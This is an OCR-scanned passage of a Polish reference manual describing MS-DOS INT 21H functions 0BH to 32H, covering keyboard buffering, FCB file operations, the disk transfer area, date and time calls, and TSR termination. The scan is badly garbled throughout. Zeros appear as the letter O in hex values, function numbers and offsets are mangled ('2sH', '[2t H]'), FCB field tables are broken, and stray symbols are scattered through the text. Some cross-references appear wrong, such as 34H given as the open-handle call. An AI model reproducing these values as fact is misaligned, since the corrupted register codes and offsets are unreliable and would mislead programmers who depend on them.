Wywotanie: AH = OBH ' dŃt ' Powrót: AL = OFFH w buforze klawiatury znajdujš się jakieœ znaki OOH w buforze klawiatury nie ma znaków Opis: Funkcja sprawdza, czy w standardowym strumieniu wejœciowym sš jakieœ znaki ( Jeœli nie zostało zmienione przyporzšdkownie strumienia wejœciowego, to sprawdza, czy w buforze ţ klawiatury znajdujš się jakieœ znaki). Jeœli nie ma dostępnych znaków to funkcja zwraca w rejestrze AL wartoœć 0, jeœli sš fo wartoœć OFFH. Jeœli w buforze znajduje się znak Con- trol - C to funkcja wywotuje przerwanie 23H. Funkcja ů OCH Nazwa: Opróżnianie bufora czytanie z klawiatury 4 Wywolanie: AH = OCH AL =1, 6, 7, 8, OAH - wartoœć ta odpowiada funkcji, która ma być wywotana po wyczysz- czeniu bufora Powrót: AL = 0 Bufor klawitury opróżniony, żadne inne działanie nie podjęte Opis: Funkcja ta czyœci bufor standardowego strumienia wejœciowego ( ma to sens tylko wtedy gdy strumieri ten jest zwišzany z klawiaturš ). Po opróżnieniu bufora dalsze czynnoœƒ fun- kcji zależš od wartoœci przekazanej w AL. Jeœli jest to 1, 6, 7, 8, OAH to zostaje wywotana funkcja o tym numerze. Jeœli nie to koriezy działanie zwracajšc w rejestrze AL wartoœć 0. Uwagi: Stosuj tę funkcję w przypadku, gdy program ma pytać użytkownika o zgodę na jakšœ nieod- wracalnš operację typu tormatowanie dysku twardego. Wtedy bufor klawiatury musi być wy- czyszczony, aby nie nzaplštat się" jakiœ poprzednio naciœnięty znak. Funkcja ODH Nazwa: Stabilizowanie stanu dysku Wywolanie: AH = ODH Powrót: Brak Opis: Funkcja czyœci wszystkie bufory plików w pamięci, co powoduje, że zawartoœć tych plików jest poprawna. ( Uwzględniajšca wszystkie zmiany dori wprowadzone w trakcie pracy pro- gramu ). Czyszczenie buforów nie oznacza zamknięcia plików. W tym celu musisz wywo- łać standardowš funkcję zamykania plików (1 OH lub 3EH). Uwagi: Wywoluj tę funkcję zawsze w sytuacji krytycznej, grożšcej załamaniem się systemu. Przy- kładowo wywolanie tej funkcji powinno się znaleŸć w dobrze napisanej procedune obsługi przerwania 23H. Funkcja OEH Nazwa: Ustalanie dysku bieżšcego. Wywolanie: AH = OEH DL - Numer dysku logicznego (0 = A,1= B, itd) Powrót: AL - Liczba dysków logicznych w systemie. Opis: Ustala dysk o numerze podanym w DL jako dysk bieżšcy. Zwraca w AL liczbę wszystkich dysków logicznych w systemie (mogš to być dyski stałe, dyskietki, RAM - dyski, partycje dużych dysków, dyski sieciowe itd.). Uwagi: Firma Microsotl, przy opisie tej funkcji nie gwarantuje, iż w następnych wersjach systemu rejestr AL będzie zwracał liczbę dysków logicznych. Powinieneœ traktować więc tš wartoœ‚ z ostrożnoœciš. Funkcja OFH Nazwa: Otwieranie pliku Wywolanie: AH = OFH DS:DX - adres bloku FCB nie zwišzanego z żadnym otwartym plikiem Powrót: AL = OOH - Znaleziono plik o takiej nazwie OFFH - Nie ma takiego pliku Opis: Funkcja ta otwiera plik DS:DX musi zawierać adres bloku FCB (patrz niżej) tego pliku. Plik nie może być już olwarty. Jeœli plik o danej nazwie nie istnieje w bieżšcym katalogu albo ma ustawione atrybuty hidden lub system to funkcja zwraca w rejestrze wartoœć OFFH i koriczy działanie. W przeciwnym wypadku do rejestru AL wpisywane jest 0, a odpowied- nie pola FCB sš uzupetniane w następujšcy sposób: 194 - Jeœli Numer Stacji Dysków [OOH) miał wartoœć 0 (dysk bieżšcy) to wartoœć ta jest zmieniana na numer dysku bieżšcego (1=A, 2=B itd). . ţ 'ţ - Numer Bloku Bieżšcego(OGH] jest ustawiany na 0 - Rozmiar Rekordu[OEH] jesl ustawiany na 128 (standardowy rozmiar sektora w systemie CPIM) - Rozmiar Pliku[10H], Data(14H) i Czas[16H) ostatniego zapisu sš ustawiane zgodnie z danymi z katalogu. Nie sš ustawiane natomiast pola (20H) i (21 H) FCB. Jeœli Twój program po otwarciu pliku chce korzystać z operacji sekwencyjnych to musi sam ustawić. Przesunięcie Rekordu [20h]. Jeœli chce korzystać zoperacji swobodnych to musi ustawić Numer Aktualnego Rekordu [21h). Uwagi: W pierwszych wersjach systemu każdy plik otwierany przez proces był definiowany przez 34-bajtowy Blok Opisu Pliku (FCB - File Control Block). Blok ten może mieć dwie wersję normalnš i rozszerzonš. Wersja rozszerzona używa pierwszych 7 bitów bloku w przeciwieri- stwie do normalnego FCB. Blok ten ma następujšcš postać: Olfset Rozmiar Znaczenie * -07H 1 _ WskaŸnik poczštku rozszerzonego FCB zawsze OFFH. -06H 5 Zarezerwowane. -01 H Atrybuty pliku. ţ Start zwykłego FGB Numer dysku 1=A, 2=B itd. Jeœli używasz FCB do otwierania pliku to możesz w to OOH 1 miejsce wstawić 0 jako numer bieżšcego dysku, a system sam wstawi odpowiedniš nazwę. O1 H g Nazwa pliku (może być również nazwa urzšdzenia). Nazwa odnosi się zawsze do bieżšcgo katalogu. 09H 3 Rozszerzenie nazwy. OCH 2 Numer bloku - wspólnie z polem przesunięcie rekordu wskazujš na adres aktualnego rekordu. Blok jest grupš 128 rekordów. Przy otwieraniu pole to jest ustawiane na 0. OEH 2 Rozmiar rekordu. Rozmiar rekordu logicznego w pliku. Standardowo ustawiany na 80H, ale może mieć również inne warloœci. i; :: 10H 4 Rozmiar pliku w bajtach. __ Data ostatniej modyfikacji. Bajty majš następujšcy format: (15H]-IRIRIRIRIRIRIRIMI IMIMIMIDIDIDIDIDI-[14H] 14H 2 R - rOk Ii CzšC Od 1980 M - miesišc D - Dzieri __ [ 7H) IGIGIG GIGIMIMIţMBIM MIMI ISIS ţIŒš [1f6H] at: 16H 2 G - godzina M - minuta S - sekunda _ 18H _ _ 8 Zarezerwowane. _ ____ 20H 1 Frzesunięcie rekordu - Wskazuje na pozycję bieżšcego rekordu w bloku. ţ (Wykorzystywany przy operacjach w trybie sekwencyjnym) Numer rekordu liczony od poczštku pliku. (Wykorzystywany przy operaCjach w trybie 21 H 4 swobodny). Odpowiednik: Funkcja 34H - otwieranie dojœcia jest nowszš funkcjš pozwalajšcš na dostęp do pliku. 195 Funkcja 10H Nazwa: Zamykanie pliku Wywofanie: AH =10H DS:DX - adres FCB danego pliku. Powrót: AL = 0 - Plik zamknięty OFFH - Nie ma takiego pliku w bieżšcym katalogu Opis: Zamyka plik opisany w bloku FCB wskazywanym przez DS:DX. Jeœli plik taki istnieje w bie- żšcym katalogu to rejestr AL zwraca wartoœ‚ 0, funkcja przesyła zawartoœć butoru pliku fi- zycznie na dysk oraz aktualizuje informacje o pliku w katalogu. W przeciwnym wypadku w rejestrze AL zwracana jest wartoœć OFFH. Uwagi: Powinieneœ zawsze pamiętać o zamykaniu plików, bowiem dopiero po zamknięciu masz pewnoœć, iż plik zawiera właœeiwe dane. Częstym powodem wystšpienia blędu podczas za- mykania pliku jest to, iż podczas pracy programu został zmieniony bieżšcy katalog. W ta- kim wypadku funkcja nie może znaleŸć pliku i sygnalizuje bfšd. Odpowiednik: Funkcja 3EH - zamykanie dojœcia Funkcja 11 H Nazwa: Znajdowanie pierwszej pozycji w katalogu Wywołanie: AH =11 H DS:DX - adres bloku FCB Powrót: AL = 0 - Znaleziony w katalogu plik odpowiadajšcy wzorcowi OFFH - w bieżšcym katalogu nie ma pliku odpowiadajšcego wzorcowi Opis: Funkcja przeszukuje bieżšcy katalog w poszukiwaniu pozycji odpowiadajšcych wzorcowi. Wzorzec jest przekazywany w bloku FCB wskazywanym przez DS:DX. We wzorcu mogš znajdować się symbole specjalne ' i ? . Jeœli w bieżšcym katalogu nie ma pozycji odpowia- dajšcych wzorcowi, to w rejestrze AL zwracana jest wartoœć OFFH . W przeciwnym wypad- ' .J ku funkcja zwraca w rejestrze AL wartoœć 0, w buforze roboczym systemu (DTA) tworzy no- wy FCB znalezionego pliku, a w pierwotnym FCB zapisuje informacje pozwalajšce na wznowienie szukania pliku od tej pozycji przez funkcję 12H. Uwagi: Jeœli chcesz używać tej funkcji do szukania plików systemowych lub ukrytych to musisz ja- ko parametr przekaza‚ blok FCB w rozszerzonej postaci, z odpowiednio ustawionym po- lem atrybutów. DS:DX musi wskazywać na adres pierwszego bajtu tego bloku. Odpowiednik: Funkcja 4EH - znajdowanie pierwszego pliku w katalogu. Funkcja 12H Nazwa: Znajdowanie następnej pozycji w katalogu. Wywolanie: AH =12H DS:DX - adres bloku FCB Powrót: AL = 0 - Znaleziony w katalogu plik odpowiadajšcy wzorcowi OFFH - w bieżšcym katalogu nie ma więcej plików odpowiadajšcych wzorcowi Opis: Po użyciu funkcji 11 H, tunkcja szuka następnej pozycji odpowiadajšcej wzorcowi. Jeœli w bieżšcym katalogu nie ma więeej plików odpowidajšcych wzorcowi to w rejestrze AL zwracana jest wartoœć OFFH. Jeœli natomiast funkcja znajdzie taki plik to w rejestrze AL zwraca 0, a buforze roboezym (DTA) zostaje utworzony blok FCB dla znalezionego pliku. Uwagi: Funkcji tej nie możesz użyć w innej syluacji, niż po wykonaniu funkcji 11 H z tym samym blokiem FCB. Jeœli chcesz szuka‚ plików systemowych lub ukrytych to DS:DX musi wska- _ zywać na pierwszy bajt bloku FCB w postaci rozszerzonej. Odpowiednik: Funkcja 4F - znajdowanie następnej pozycji w katalogu. `'ţţţ Funkcja 13H Nazwa: Usuwanie pliku Wywotanie: AH =13H DS:DX - adres bloku FCB nieotwartego pliku Powrót: AL = 0 - znalezione i usunięte pliki odpowiadajšce wzorcowi OFFH - nie znaleziono plików odpowiadajšcych wzorcowi Opis: Funkcja usuwa pliki odpowiadajšce wzorcowi przekazanemu w bloku FCB, którego adres znajduje się w DS:DX. We wzorcu mogš znajdować się symbole specjalne ? i '. Jeœli nie zostanš znalezione pozycje w bieżacym katalogu odpowiadajšce wzorcowi to tunkcja zwraca OFFH w rejestrze AL. W przeciwnym wypadku w AL zwracane jest 0. Uwagi: Funkcja nie usuwa otwartych plików. Odpowiednik: Funkcja 41 H - usuwanie pozycji z katalogu. Funkcja 14H Nazwa: Sekwencyjne czyłanie z pliku Wywolanie: AH =14H ~ ' DS - Adres bloku FCB otwartego pliku Powrót: AL = OOH - Czytanie zakoriczone sukcesem 01 H - Napotkano koniec pliku 02H - Zbyf mało miejsca w buforze roboczym 03H - Napotkano koniec pliku, Przeczytana częœć rekordu, reszta wypełniona zerami. , Opis: Funkcja powoduje przeczytanie kolejnego rekordu z otwartego pliku zwišzanego z blokiem ' FCB wskazywanym przez DS:DX, umieszczenie tego rekordu w buforze roboczym (DTA) oraz zwiększenie Przesunięcia Rekordu (20H) i ewentualnie Numeru Bloku [OCH] bloku FCB. W rejestrze AL po wykonaniu funkcji mogš znajdować się wartoœci takie jak opisane powyżej . Odpowiednik: Funkcja 3FH - czytanie przez dojœcie. :ţ Funkcja 15H Nazwa: Sekwencyjne pisanie w pliku Wywołanie: AH =15H DS:DX - Adres bloku FCB otwartego pliku Powrót: AL = OOH - pisanie zakoriczone sukcesem 01 H - Dysk pełny , pisanie przerwane 02H - Bufor roboczy zbyt mały, pisanie przerwane Opis: Funkcja zapisuje rekord znajdujšcy się w buforze roboczym (DTA) do pliku opisywanego przez blok FCB wskazywany przez DS:DX. Funkcja zapisuje rekord o dtugoœci równej Roz- miarowi Rekordu [OEH] pod pozycję wskazywanš przez Numer Bloku [OCH] i Przesunięcie Rekordu [20H], a następnie zwiększa wartoœci tych pól. W rejestrze AI zwracana jest war- ;* ; toœć okreœlajšca powodzenie operacji zapisu. Znaczenie zwracanych wartoœci jest opisane powyżej . Odpowiednik: Funkcja 40H - pisanie przez dojœcie. Funkcja 16H Nazwa: Tworzenie pliku Wywoianie: AH =16H DS:DX - adres bloku FCB nieotwartego pliku Powrót: AL = 0 - utworzono plik lub plik już istnieje OFFH - brak pliku o takiej nazwie w kartotece i brak miejsca w kartotece na utworzenie nowego pliku. Opis: Funkcja tworzy w katalogu bieżšcym nowy plik pod nazwš takš jak podana w bloku FCB wskazywanym przez DS:DX i otwiera go. Jeœli plik o takiej nazwie istnieje w katalogu bieżš- cym to otwiera go ustawiajšc Długoœć Pliku [10H] na 0. Jeœli utworzenie pliku nie jest możli- t we to w rejestrze AL funkcja zwraca wartoœć OFFH, w przeciwnym wypadku 0. Uwagi: Jeœli chcesz utworzonemu plikowi nadać atrybuty, to DS:DX powinno wskazywać na pier- wszy bajt bloku FCB w postaci rozszerzonej. Odpowiednik: Funkcja 3C - tworzenie dojœcia. Funkcja 17H Nazwa: Zmiana nazwy pliku Wywolanie: AH =17H DS:DX - adres bloku FCB w postaci zmodyfikowanej Powrót: AL = 0 - Zmieniono nazwę OFFH - nie istnieje plik o podanej nazwie lub próba zmiany na nazwę już istniejšcš. Opis: Funkcja zmienia nazwę istniejšeego pliku zwišzanego z blokiem FCB wskazywanym przez DS:DX. Blok ten musi mieć zmienionš postać. Bezpoœrednio po wzoreu nazwy pierwszego pliku należy podać (zaczynajšc od 11 H) wzorzec nowej nazwy. Wzorce mogš zawierać symbole specjalne ? i ". Po wykonaniu funkcji w rejestrze AL zwracane sš wartoœci opisa- ne powyżej. Uwagi: Nie możesz znieniać tš funkcjš nazw zbiorów systemowych, ani ukrytych. Odpowiednik: Funkcja 56H - zmiana pozycji w katalogu. Funkcja 19H Nazwa: Pytanie o dysk bieżšcy Wywofanie: AH =19H Powrót: AL - Bieżacy dysk (0=A,1=B, itd.) Opis: Funkcja zwraca w rejestrze AL numer bieżšcego dysku. Funkcja 1AH Nazwa: Ustalenie bufora roboczego Wywolanie: AH = lAH DS:DX - adres bufora roboczego ţ Powrót: Brak 198 Opis: Funkcja ustala adres bufora roboczego na podany przez DS:DX. Uwagi: DTA - Disk Transfer Adres - bufor roboczy operacji dyskowych. -jest to obszar służšcy do przeprowadzania operacji dyskowych, które zawsze wykorzystujš ten obszar jako jednš ů ţ ţţ : ze stron przesyłania danych (W standardzie CPIM) lub do zapisu informacji odczytanych z dysku. Przed rozpoczęciem pracy procesu system przydziela w przedrostku PSP komór- ki 80H-FFH jako standardowy bufor roboczy dla tego procesu. Funkcja powyższa służy do innego umieszczenia bufora w pamięci. Zwróć uwagę, iż DTA jest strukturš lokalnš to zna- czy dla każdego procesu może znajdować się w innym miejscu. Przy ustawianiu bufora ro- boczego pamiętaj o tym iż powinien on mieć przynajmniej BOH bajtów, taki jest bowiem standardowy rozmiar rekordów przesyłanych do tego bufora. l Y Funkcja 1BH ţ"l Nazwa: Pytanie o charakterystykę dysku bieżšcego Wywofanie: AH =1 BH Powrót: AL = liczba sektorów w bloku przydziału (cluster) CX = liczba bajtów w sektorze DX: = liczba blok przydziału na dysku DS:BX - adres bajtu identyfikujšcego postać dysku (patrz Blok ładujšcy) Opis: Funkcja zwraca dane o bieżšcym dysku w sposób opisany powyżej. Uwagi: Zwróć uwagę, iż bajt identyfikujšcy postać dysku œwiadczy tylko o tym jaka dyskietka znaj- duje się w stacji, a nie jaki to jest dysk. Funkcja 1 CH Nazwa: Pytanie o charakterystykę urzšdzenia blokowego Wywołanie: AH =1CH DL = numer urzšdzenia (0=dysk bieżšcy,1=A, 2=B itd) Powrót: AL = liczba sektorów w bloku przydziału (cluster) lub OFFh jeœli numerowi w rejestrze DL nie odpowiada żadne urzšdzenie blokowe T CX = liczba bajtów w sektorze DX = liczba blok przydziału na dysku DS:BX - adres bajtu identyfikujšcego postać dysku (patrz Blok ładujšcy) Opis: Funkcja zwraca dane o urzšdzeniu blokowym (najczęœciej dysk), którego numer podany jest w rejestrze DL. Znaczenie poszczególnych rejestrów jest opisane powyżej. Uwagi: Zwróć uwagę iż bajt identyfikujšcy postać dysku œwiadczy tylko o tym jaka dyskietka znaj- duje się w stacji, a nie jaka to jest stacja. Funkcja 1FH Nazwa: Pytanie o adres bloku informacji o urzšdzeniu dla bieżšcego dysku Wywołanie: AH =1 FH Powrót: DS:BX - adres bloku informacji o urzšdzeniu dla bieżšcego dysku Opis: Funkcja zwraca adres bloku informacji o urzšdzeniu dla bieżšcego dysku. (Patrz również: opis programów obsługi urzšdzeri - rozdział 2).Blok ten ma następujšcy format: Uwagi: Funkeja nieudokumentowana. BšdŸ ostrożny z jej używaniem. Wszystkie te informacje mo- żesz pobrać również z innych funkcji i przerwari. Funkcja 21H Nazwa: Swobodne czytanie z pliku Wywołanie: AH = 21 H DS - Adres bloku FCB otwartego pliku + Powrót: AL = OOH - Czytanie zakoriczone sukcesem O1 H - Napotkano koniec pliku 02H - Zbyt mało miejsca w buforze roboczym 03H - Napotkano koniec pliku, Przeczytana częœć rekordu, reszta wypełniona zerami. Opis: Funkcja powoduje przeczytanie rekordu wskazywanego przez Numer Rekordu Bieżšcego [21 H] z otwartego pliku zwišzanego z blokiem FCB wskazywanym przez DS:DX, umiesz- czenie tego rekordu w buforze roboczym (DTA) oraz zwiększenie Przesunięcia Rekor- du[20H) i ewentualnie Numeru Bloku [OCH] bloku FCB. W rejestrze AL po wykonaniu fun- kcji mogš znajdować się wartoœci takie jak opisane powyżej. Odpowiednik: Funkcja 3FH - czytanie przez dojœcie. Funkcja 22H Nazwa: Swobodne pisanie w pliku Wywołanie: AH = 22H DS:DX - Adres bloku FCB otwartego pliku Powrót: AL = OOH - pisanie zakoiiczone sukces‚m 01 H - Dysk pełny , pisanie przerwane 02H - Bufor roboczy zbyt mały, pisanie przerwane Opis: Funkcja zapisuje rekord znajdujšcy się w butorze roboczym (DTA) do pliku opisywanego przez blok FCá wskazywany przez DS:DX. Funkcja zapisuje rekord o długoœci równej Roz- 'ţ 7 200 miarowi Rekordu [OEH] pod pozycję wskazywanš przez Numer Rekordu Bieżšcego [2t H] oraz modyfikuje Numer Bloku [OCH] i Przesunięcie Rekordu [20H) tak aby zgadzały się z numerem rekordu bieżšcego. W rejestrze AI zwracana jest wartoœć okreœlajšca powodze- nie operacji zapisu. Znaczenie zwracanych wartoœci jest opisane powyżej. ţ * Odpowiednik: Funkcja 40H - pisanie przez dojœcie. Funkcja 23H Nazwa: Pytanie o rozmiar pliku Wywolanie: AH = 23H DS:DX - adres bloku FCB Powrót: AL = 0 - znaleziono taki plik OFFH - nie ma takiego pliku w katalogu Opis: Funkcja okreœla liczbę rekordów w pliku odpowiadajšcemu blokowi FCB wskazywanemu przez DS:DX. Przed wywolaniem tej funkcji w bloku FCB muszš być wypełnione pola Roz- miar Rekordu [OEH] i Rozmiar Pliku(1 CH] . Jeœli w katalogu bieżšcym nie ma pozycji odpo- wiadajšcych danemu blokowi FCB to funkcja zwraca wartoœć OFFH w rejestrze AL, w prze- ciwnym wypadku zwraca 0, a polu Numer Rekordu Bieżšcego[21 H) bloku FCB umieszcza liczbę rekordów zaokršglonš w górę. Odpowiednik: Funkcja 42H - ustalanie wskaŸnika w pliku ţ ţţ:, Funkcja 24H Nazwa: Wybieranie rekordu Wywołanie: AH = 24H DS:DX = adres bloku FCB otwartego pliku Powrót: Brak ~`ţ Opis: Funkcja ustawia Rekord Bieżšcy [21 H) na podstawie zawartoœci pól Numer Bloku [OCH) i Przesunięcie Rekordu (20H) tablicy FCB. Przed wywołaniem funkcji DS:DX musi wskazy- _ wać na blok FCB zwišzany z otwartym plikiem. Uwagi: Funkcja jest używana zazwyczaj wtedy, gdy zmieniamy tryb czytania sekwencyjnego na swobodny. ~ ţ, Odpowiednik: Funkcja 42H - ustalanie wskaŸnika pliku Funkcja 25H Nazwa: Ustalanie adresu kodu obsługi przerwania Wywołanie: AH = 25H AL - Numer przerwania DS:DX - Adres procedury obstugujšcej przerwanie Powrót: Brak Opis: Funkcja ustawia nowš procedurę obsługi przerwania o numerze podanym w AL. Adres pro- 1 cedury obsługi przerwania powinien być przekazany DS:DX. Uwagi: Unikaj zmiany adresów obsługi przenvania poprzez bezpoœredni zapis w tablicy wektorów przenvari, może to bowiem powodować wystšpienie nieprzewidzianych sytuacji, łšcznie z zawieszeniem systemu. Oczywiœcie podczas uruchomiania systemu ta funkcja nie jest je- ţ szcze dostępna i odwołanie bezpoœrednie do pamięci w celu przechwycenia przerwari jest 'Xp, niezbędne. Funkcja 2sH Nazwa: Tworzenie nowego PSP Wywolanie: AH = 26H DX - Segment adresu nowego PSP Powrót: Brak Opis: Funkcji tworzy nowy przedrostek procesu w segmencie wskazywanym przez DX. Nowy PSP powstaje wskutek skopiowania przedrostka aktualnego procesu. Odpowiednik: Funkcja ta była używana zazwyczaj przy uruchomianiu nowego procesu. Funkcjš lepiej na- dajšcš się do tego celu sš funkcje 4BOOH - ładowanie i uruchamianie procesu oraz 4803H - ładowanie nakładki. Funkcja 27H Nazwa: Swobodne czytanie cišgu rekordów Wywolanie: AH = 27H DS - Adres bloku FCB otwartego pliku CX - Liczba rekordów do przeczytania Powrót: AL = OOH - Czytanie zakoriczone sukcesem O1 H - Napotkano koniec pliku 02H - Zbyt mało miejsca w buforze roboczym 03H - Napotkano koniec pliku, Przeczytana częœć rekordu, reszta wypełniona zerami. CX - Liczba przeczytanych rekordów Opis: Funkcja powoduje przeczytanie jednego lub kilku rekordów, z których pierwszy jest wskazy- wany przez Numer Rekordu Bieżšceg [21 H], z otwartego pliku zwišzanego z blokiem FCB wskazywanym przez DS:DX, umieszczenie tych rekordów w buforze roboczym (DTA) oraz zwiększenie Przesunięcia Rekordu[20H] i ewentualnie Numeru Bloku [OCH] bloku FCB. Li- czba rekordów do przeczytania jest przekazywana w rejestrze CX. W rejestrze AL po wyko- naniu funkcji mogš znajdować się wartoœci takie jak opisane powyżej. W rejestrze CX zwra- cana jest liczba przeczytanych rekordów. Odpowiednik: Funkeja 3FH - czytanie przez dojœcie. Funkcja 28H Nazwa: Swobodne pisanie cišgu rekordów Wywotanie: AH = 28H DS:DX - Adres bloku FCB otwartego pliku CX = 0 - Ustaw rozmiar pliku, nie zapisuj pozost. - Liczba rekordów do zapisu Powrót: AL = OOH - pisanie zakoriczone sukcesem , O1 H - Dysk pełny, pisanie przerwane 02H - Bufor roboczy zbyt mały, pisanie przerwane CX - Liczba zapisanych rekordów Opis: Funkeja zapisuje jeden lub kilka rekordów znajdujšcych się w buforze roboczym (DTA) do pliku opisywanego przez blok FCB wskazywany przez DS:DX. Liczba rekordów jest przeka- zywana w rejestrze CX. Funkcja zapisuje rekordy o długoœci równej Rozmiarowi Rekordu [OEH) pod pozycję wskazywanš przez Numer Rekordu Bieżšcego [21 H) oraz modyfikuje Numer Bloku [OCH] i Przesunięcie Rekordu (20H] tak aby zgadzały się z numerem rekordu bieżšcego. W rejestrze AI zwracana jest wartoœć okreœlajšca powodzenie operacji zapisu. Znaczenie zwracanych wartoœci jest opisane powyŸej.W rejestrze CX zwracana jest liczba 202 zapisanych rekordów.Jeœli w rejestrze CX przed wywolaniem funkcji znajduje się wartoœć 0, to funkcja nie dokunuje zapisu tylko zmienia pole Długoœć Pliku [1 CH] bloku FCB tak aby było równe polu Bieżšcy Rekord [21 H). Innymi słowy funkcja ucina plik do miejsca, w którym znajduje się Bieżšcy Rekord. Po zmianie długoœci bloku funkcja przydziela lub zwalnia pamięć dyskowš dla tego pliku, tak aby odpowiadała ona nowemu rozmiarowi. Odpowiednik: Funkcja 40H - pisanie przez dojœcie. Funkcja 29H ţţai Nazwa: Rozkład nazwy plików "=% Wywołanie: AH = 29H AL - Sposób rozkładu. Patrz opis DS:SI - adres łańcucha do rozktadu ' `ţ ES:DI - Adres, w którym ma być utworzony blok FCB `~ţ, Powrót: AL= OOH - w nazwie nie było symboli specjalnych ' i ? _ O1 H - w nazwie występowały symbole specjalne OFFH - błędna nazwa dysku lub inny błšd DS:SI - adres pierwszego bajtu po nazwie pliku ES:DI - adres utworzonego bioku FCB Opis: Funkcja tworzy blok FCB na podstawie nazwy pliku podanej jakc łańcuch znaków. Adres łańcucha jest przekazywany w DS:SI, a adres bloku FCB wyjštkowo w rejestrach ES:DI. W rejestrze AL przekazywany jest sposób rozkładu. Bity 4-7 tego rejestru powinny zawie- rać 0, Znaczenie pozostałych bitów jest następujšce: bit wartoœć znaczenie 0 0 Koniec rozkładu, jeœli napotkano separator ( czyli klóryœ ze znaków : . ; = + / " [ ] \ I tab spacja ). 1 Ignorowanie separatorów poprzedzajšcych nazwę. 1 0 Ustaw w bloku FCB identyfikator napędu na 0 (bieżšcy napęd) jeœli łańcuch nie zawiera nowej nazwy napędu. 1 Nie zmieniaj identyfikatora napędu w FCB jeœli łańcuch nie zawiera nowej nazwy napędu. 2 0 Wypełnienie nazwy pliku w bloku FCB spacjami jeœli łańcuch nie zawiera nowej nazw;r pliku. 1 Ustawienie nazwy pliku w bloku FCB bez zmian jeœli łańcuch nie zawiera nowej nazwy pliku. 3 0 Wypełnienie rozszerzenia pliku w bloku FCB spacjami jeœli łaricuch nie zawiera rozszerzenia. 1 Pozostawienie rozszerzenia pliku w bloku FCB bez zmian jeœli łańcuch nie zawiera ţ7 rozszerzenia. ţ.; -ţ Po wywołaniu funkcji odpowiednie rejestry zwracajšwartoœci takie jak opisane powyżej. Ponadto jeœli AL=OFFH i ES:DI+1 wskazuje na komórkę zawierajšcš spację to znaezy, że łańcuch nie zawierał poprawnej nazwy pliku. Uwagi: Funkcja ta jest funkcjš standardu CPIM i dlatego w nazwie pliku nie może występować ;~ţ œcieżka dostępu. Funkcja 2AH Nazwa: Pytanie o datę Wywołanie: AH = 2AH Powrót: CX - Rok (liczony od 1980, maksymalnie 2099) DH - Miesišc (1-12) 203 ţ DL - Dzieri (1-31 ) AL - Dzieri tygodnia (0-niedziela,...,6-sobota) Opis: Funkcja zwraca aktualnš datę w zegarze systemowym. Funkcja 2BH Nazwa: Ustalanie daty Wywołanie: AH = 2BH CX - Rok (liczony od 1980, maksymalnie 2099) DH - Miesišc (1-12) DL - Dzieri (1-31 ) Powrót: AL = 0 - Podano prawidłowš datę OFFH - Podano nieprawidłowš datę Opis: Funkcja ustawia aktualnš datę w zegarze systemowym. Jeœli podana jest poprawna data to zwraca wartoœć 0 w rejestrze AL, w przeciwnym wypadku zwraca OFFH. Funkcja 2CH Nazwa: Pytanie o czas Wywołanie: AH = 2CH Powrót: CH - Godziny (0-23) CL - Minuty (0-59) DH - Sekundy (0-59) DL - Setne częœci sekundy (0-99) Opis: Funkcja zwraca aktualny czas zegara systemowego. Funkcja 2DH Nazwa: Ustalanie czasu Wywofanie: AH = 2DH CH - Godziny (0-23) CL - Minuty (0-59) DH - Sekundy (0-59) DL - Setne częœci sekundy (0-99) Powrót: AL = 0 - Podano prawidłowy czas OFFH - Podano nieprawidłowy czas Opis: Funkcja ustawia aktualnš czas w zegarze systemowym. Jeœli podany jest poprawny czas to zwraca wartoœć 0 w rejestrze AL, w przeciwnym wypadku zwraca OFFH. Funkcja 2EH Nazwa: Ustalanie sygnalizatora weryfikacji Wywofanie: AH = 2EH AL = 0 - VERIFY OFF 1- VERIFY ON Powrót: Brak Opis: Funkcja zmienia stan sygnalizatora weryfikacji, po każdym zapisie na dysk. Odpowiada ona poleceniu VERIFY. Przekazanie w rejestrze AL wartoœci 1 ustawia sygnalizator weryfi- 204 kacji, a przekazanie 0 kasuje ten sygnalizator. Standardowo w systemie weryfikator jest wy- łšczony. Funkcja 2FH Nazwa: Pytanie o bufor roboczy Wywofanie: AH = 2FH Powrót: ES:BX - adres bufora roboczego Opis: Funkcja zwraca adres bufora roboczego operacji dyskowych (DTA) aktualnego procesu. Funkcja 30H Nazwa: Pytanie o numer wersji systemu Wywofanie: AH = 30H Powrót: AL - główny numer systemu (np 5) AH - pomocniczy numer systemu (np 0) BH - Dostawca systemu BL:CX - 24-bitowy numer seryjny odbiorcy systemu Opis: Funkcja zwraca numer systemu MS-DOS. Uwagi: Korzystaj z tej funkcji jeœli używasz jakiœ nieudokumentowanych funkcji, czy przerwari, aby upewnić się, że jesteœ we wtaœciwej wersji systemu. Funkcja 31H Nazwa: Usypianie procesu Wywofanie: AH = 31 H AL - Kod powrotu DX - Rozmiar pamięci w paragrafach (16 bajtowych) Powrót: Brak Opis: Funkcja ta pozwala na zakoriczenie pracy procesu i przekazania sterowania procesowi ma- cierzystemu, nie zamykajšc otwartych plików procesu i nie zwalniajšc całej pamięci przy- dzielonej procesowi. W rejestrze AL umieszczany jest kod powrotu, który może zostać od- czytany przez proces macierzysty funkcjš 4DH, w rejestrze DX przekazywana jest liczba paragratów (bloków po 16 bajtów), które majš pozostać przydzielone programowi, cała po- została pamięć jest zwalniana. Funkcja stuży do instalowania programów rezydentnych (TSR). Uwagi: Przy pisaniu programów typu TSR zwróć uwagę na kilka drobiazgów: - Funkcja powyższa jest nowszš wersjš przerwania 28H, firma Microsoft zaleca stosowa- nie jej zamiast tego przerwania, którego znaczenie w przyszłych wersjach systemu może zostać zmienione. - Pozostawiajšc program w pamięci pamiętaj, że również przedrostek PSP jest częœciš pa- mięci przydzielonej procesowi, i że trzeba na niego przeznaczyć 100H bajtów (l OH para- gratów), tak więc do rejestru DX musisz zawsze jeszcze dodać 10H przed wywolaniem fun- kcji. - Wybieraj dobry moment na ponowne uruchomienie rezydentnego programu, niech to na przykfad nie będzie w polowie transmisji modemu. Zanim TSR się uruchomi sprawdŸ, czy DOS nie robi nic ważnego (Użyj przerwania 28H). - Pamiętaj, że wszystkie dojœcia, bloki FCB, bufory roboeze itd dotyczš już innego proce- su nie możesz się więc do nich odwolywać, aby nie zakłócić pracy tamtego procesu. Masz więc dwa wyjœcia: albo zapamiętywać stan poczštkowy wszystkich używanych struktur da- nych i po zakoriczeniu wywołania TSR przywrócić ten stan, albo użyć nieudokumentowa- nych przerwari 50H i 62H, które zrobiš to za Ciebie. 205 Funkcja 32H Nazwa: Pylanie o adres bloku informacji o urzšdzeniu Wywołanie: AH = 32H ; DL = Numer urzšdzenia (0=A,1=B, itd.) Powrót: AL = OH - Znaleziono takie urzšdzenie OFFH - Nie ma takiego urzšdzenia. DS:BX - adres bloku informacji 